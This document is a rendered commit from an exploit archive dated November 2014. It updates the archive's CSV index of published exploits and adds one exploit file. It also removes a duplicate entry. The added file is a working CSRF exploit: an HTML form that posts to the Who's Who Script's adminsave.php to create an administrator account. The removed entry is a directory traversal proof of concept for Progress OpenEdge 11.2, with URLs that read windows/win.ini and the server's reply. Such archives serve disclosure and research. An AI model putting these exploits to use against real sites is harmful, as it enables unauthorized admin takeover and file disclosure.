Updated 11_13_2014
This commit is contained in:
Offensive Security
parent
73654ec124
commit
110ffda6e4
3 changed files with 61 additions and 72 deletions
|
|
@ -31647,6 +31647,7 @@ id,file,description,date,author,platform,type,port
|
|||
35126,platforms/php/webapps/35126.txt,"Habari 0.6.5 Multiple Cross-Site Scripting Vulnerabilities",2010-12-21,"High-Tech Bridge SA",php,webapps,0
|
||||
35127,platforms/jsp/webapps/35127.txt,"Progress OpenEdge 11.2 - Directory Traversal",2014-10-31,"Mauricio Correa",jsp,webapps,9090
|
||||
35128,platforms/hardware/webapps/35128.txt,"ZTE Modem ZXDSL 531BIIV7.3.0f_D09_IN - Stored XSS Vulnerability",2014-10-31,"Ravi Rajput",hardware,webapps,0
|
||||
35129,platforms/php/webapps/35129.txt,"Who's Who Script - CSRF Exploit (Add Admin Account)",2014-10-31,"ZoRLu Bugrahan",php,webapps,0
|
||||
35130,platforms/windows/remote/35130.txt,"Calibre 0.7.34 Cross Site Scripting and Directory Traversal Vulnerabilities",2010-12-21,waraxe,windows,remote,0
|
||||
35131,platforms/php/webapps/35131.txt,"Social Share 'username' Parameter SQL Injection Vulnerability",2010-12-21,"Aliaksandr Hartsuyeu",php,webapps,0
|
||||
35132,platforms/linux/remote/35132.txt,"Mitel Audio and Web Conferencing (AWC) Remote Arbitrary Shell Command Injection Vulnerability",2010-12-21,"Jan Fry",linux,remote,0
|
||||
|
|
@ -31703,7 +31704,6 @@ id,file,description,date,author,platform,type,port
|
|||
35204,platforms/php/webapps/35204.txt,"Another Wordpress Classifieds Plugin - SQL Injection",2014-11-10,dill,php,webapps,0
|
||||
35205,platforms/linux/shellcode/35205.txt,"Position independent & Alphanumeric 64-bit execve(""/bin/sh\0"",NULL,NULL); (87 bytes)",2014-11-10,Breaking.Technology,linux,shellcode,0
|
||||
35206,platforms/php/webapps/35206.txt,"PHP-Fusion 7.02.07 - SQL Injection",2014-11-10,"Mauricio Correa",php,webapps,0
|
||||
35207,platforms/php/webapps/35207.txt,"Progress OpenEdge 11.2 - Directory Traversal",2014-11-10,"Mauricio Correa",php,webapps,0
|
||||
35209,platforms/jsp/webapps/35209.txt,"ManageEngine OpManager, Social IT Plus and IT360 - Multiple Vulnerabilities",2014-11-10,"Pedro Ribeiro",jsp,webapps,0
|
||||
35210,platforms/multiple/webapps/35210.txt,"Password Manager Pro / Pro MSP - Blind SQL Injection",2014-11-10,"Pedro Ribeiro",multiple,webapps,0
|
||||
35211,platforms/java/remote/35211.rb,"Visual Mining NetCharts Server Remote Code Execution",2014-11-10,metasploit,java,remote,8001
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
60
platforms/php/webapps/35129.txt
Executable file
60
platforms/php/webapps/35129.txt
Executable file
|
|
@ -0,0 +1,60 @@
|
|||
# Title : Who's Who Script CSRF Exploit (Add Admin Account)
|
||||
# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
|
||||
# Home : http://milw00rm.com / its online
|
||||
# Date : 30.10.2014
|
||||
# Demo : http://demo.phpscriptlerim.com/free/whoswho/
|
||||
# Download1 : http://www.phpscriptlerim.com/download/indir.php?id=14
|
||||
# Download2 : https://yadi.sk/d/C8eQcvUeJjeZ2
|
||||
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
|
||||
# Note : I write exploit for adminsave.php but other file has a vuln in /yonetim/plugins folder.
|
||||
You can write exp. for other files.
|
||||
# Vulnerable : ayarsave.php, uyesave.php, slaytadd.php, slaytsave.php
|
||||
# Not Vuln : uyedel.php and slaytdel.php file's not vulnerable for CSRF. Because session control available to files
|
||||
|
||||
<head>
|
||||
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
|
||||
<title>Who's Who Script CSRF Exploit (Add Admin Account)</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div id="main">
|
||||
|
||||
|
||||
<div id="cols" class="box">
|
||||
|
||||
<hr class="noscreen" />
|
||||
|
||||
<div id="content" class="box">
|
||||
<h1>Admin Panel</h1>
|
||||
<br>
|
||||
<br><br>
|
||||
<form method="post" action="http://localhost/filepath/yonetim/plugin/adminsave.php">
|
||||
<label><b>Username:</b></label><br>
|
||||
<input type="text" size="40" name="username" value="admin" class="input-text" /><br><br>
|
||||
|
||||
<label><b>Password:</b></label><br>
|
||||
<input type="text" size="40" name="password" class="input-text" /><br><br>
|
||||
|
||||
<input type="submit" class="input-submit" name="gonder" value="Save" />
|
||||
</form>
|
||||
|
||||
<br><br>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<hr class="noscreen" />
|
||||
|
||||
<div id="footer" class="box">
|
||||
|
||||
<p class="f-left">© Coded by ZoRLu</p>
|
||||
|
||||
<p class="f-right"><a href="http://milw00rm.com" target="_blank">milw00rm.com</a></p>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -1,71 +0,0 @@
|
|||
# Exploit Title: Progress OpenEdge Directory Traversal
|
||||
# Date: 30/10/2014
|
||||
# Exploit Author: Mauricio Correa
|
||||
# Vendor Homepage: www.progress.com
|
||||
# Software Link: www.progress.com/products/openedge
|
||||
# Version: 11.2
|
||||
# Tested on: Windows OS
|
||||
# CVE : CVE-2014-8555
|
||||
|
||||
|
||||
|
||||
The malicious user sends a malformed request that generates the file access
|
||||
up directories as follows:
|
||||
|
||||
|
||||
|
||||
http://target_ip:9090/report/reportViewAction.jsp?selection=..%2f..%2f..%2f.
|
||||
.%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
|
||||
|
||||
|
||||
|
||||
or else
|
||||
|
||||
|
||||
|
||||
http://
|
||||
target_ip:9090/report/reportViewAction.jsp?selection=../../../../../../../..
|
||||
/../../windows/win.ini
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
And the application answers
|
||||
|
||||
|
||||
|
||||
; for 16-bit app support
|
||||
|
||||
[fonts]
|
||||
|
||||
[extensions]
|
||||
|
||||
[mci extensions]
|
||||
|
||||
[files]
|
||||
|
||||
[Mail]
|
||||
|
||||
MAPI=1
|
||||
|
||||
CMCDLLNAME32=mapi32.dll
|
||||
|
||||
CMC=1
|
||||
|
||||
MAPIX=1
|
||||
|
||||
MAPIXVER=1.0.0.1
|
||||
|
||||
OLEMessaging=1
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
More informations (in Br-Portuguese): https://www.xlabs.com.br/blog/?p=256
|
||||
|
||||
|
||||
|
||||
Thanks
|
||||
|
||||
Loading…
Add table
Reference in a new issue